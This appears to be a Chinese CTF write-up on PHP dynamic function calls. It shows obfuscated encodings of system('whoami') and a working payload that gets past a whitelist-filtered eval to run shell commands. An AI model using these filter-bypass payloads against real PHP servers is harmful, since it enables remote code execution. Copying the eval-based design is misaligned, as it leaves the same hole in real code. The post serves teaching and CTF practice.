【动态函数调用】详解如何利用动态函数调用进行RCE

本文最后更新于:2021年10月9日晚上6点39分

什么是动态函数调用?

无参函数动态调用

假设我们在页面中想要输出phpinfo,通常会用下方语句:

1
2
<?php
phpinfo();

这是最简单的一种办法将phpinfo在页面中输出。

除此之外,我们还可以利用动态函数调用的形式,例如下方这种语句:

1
2
<?php
phpinfo()('');

这种语句相比上方那种多了(''),因为对于phpinfo这个函数,它不需要参数,直接给出函数名,然后用一对括号闭合即可执行。

还可以用字符串动态调用函数的方式:

1
2
3
<?php
$a = "phpinfo";
$a();

这个方式也可以调用phpinfo

有参函数动态调用

接下来换一个例子,比如此时我们想要在PHP中进行命令执行查看当前用户是谁,通常会用下方语句:

1
2
<?php
system("whoami");

这个system函数就需要一个参数,参数为需要执行的命令。

那么我们可不可以换一个方式呢,不用这种常见的代码方式输出当前用户呢?

当然可以:

1
2
<?php
'system'('whoami');

这个时候,PHP就会将whoami作为参数传给system函数。

也可以这样:

1
2
3
<?php
$a = "system";
$a(whoami);

那有没有更不常见的方式呢?

当然有的:

1
2
<?php
base_convert("1751504350", 10, 36)(base_convert("1964604618", 10, 36));

运行结果如图:

image-20211008180537353

可以看到,同样成功地执行了whoami命令,而这一串代码等价于system("whoami");

那么,这一串代码发生了什么呢?

首先,查看PHP官方手册,base_convert函数的作用就是将指定进制的字符串转换为另一进制。

image-20211008180812193

因为字母和数字一共是36个字符,因此对于base_convert函数,两个指定进制的参数最大值为36,最小值为2

而上方这一串代码中的1751504350这一串字符转换为36进制就是system,同理,1964604618whoami

然后再结合前面提到的动态函数调用的特性,就可以写出一串看似魔幻的代码。

当然啦,除了使用base_convert函数,还有其他许许多多函数可以使用:

比如使用base64编码:

1
2
3
<?php
base64_decode("c3lzdGVt")(base64_decode("d2hvYW1p"));
//相当于system("whoami");
1
2
3
<?php
hex2bin("73797374656d")(hex2bin("77686f616d69"));
//相当于system("whoami");

除了构造函数名之外,还可以构造其他的一些东西,比如构造_GET这个字符串,我们可以用以下代码:

1
2
<?php
echo base_convert(37907361743,10,36)(dechex(1598506324));

image-20211008183948627

一道利用动态函数调用进行RCE的CTF题

打开题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

接下来开始分析这一段源码:

  • 首先题目需要我们用GET传入一个参数c
  • c中不能包含黑名单中的相关字符,例如:空格、换行、回车、中括号等等

在这一段源码中有这么一串正则表达式:

1
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 

这一串正则表达式看似十分复杂,实际上在PHP官方手册中有出现过:

image-20211008184843011

可以看到,本质上这一串正则表达式是将传入的待匹配字符串进行分割,将其分割为许多有效变量名:

如下图所示,这一串正则表达式将有效的变量名分开

image-20211008185131196

回到题目,这一个正则表达式本质上是将传入c中的字符串进行分割,并且利用正则将c中存在的变量都匹配出来放在数组中,然后再验证这些变量是否符合白名单。

因此,我们可以构造如下payload:

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos});&sin=system&cos=ls

可以正常进行RCE:

image-20211008190924646

下面来详细解析一下这个payload:

  • 题目中要求我们传入c参数,而c这个变量名是不在白名单内的,因此我们在白名单内挑选一个作为我们的变量名,这里挑选pi,将传给c的值复制一份给pi

  • base_convert(37907361743,10,36)(dechex(1598506324));这一串在上方已经有提到了,结果为_GET,这里我们再调用这个pi中的sincos,就能读取URL中的sin以及cos

  • 其中起到命令执行作用的代码为:$$pi{sin}($$pi{cos});,其本质就是$_GET["sin"]($_GET["cos"])

  • 此时只要传入sin以及cos就可以进行命令执行了。

并且整一个payload在正则匹配到的字符串都是白名单内的字符串

image-20211008191137136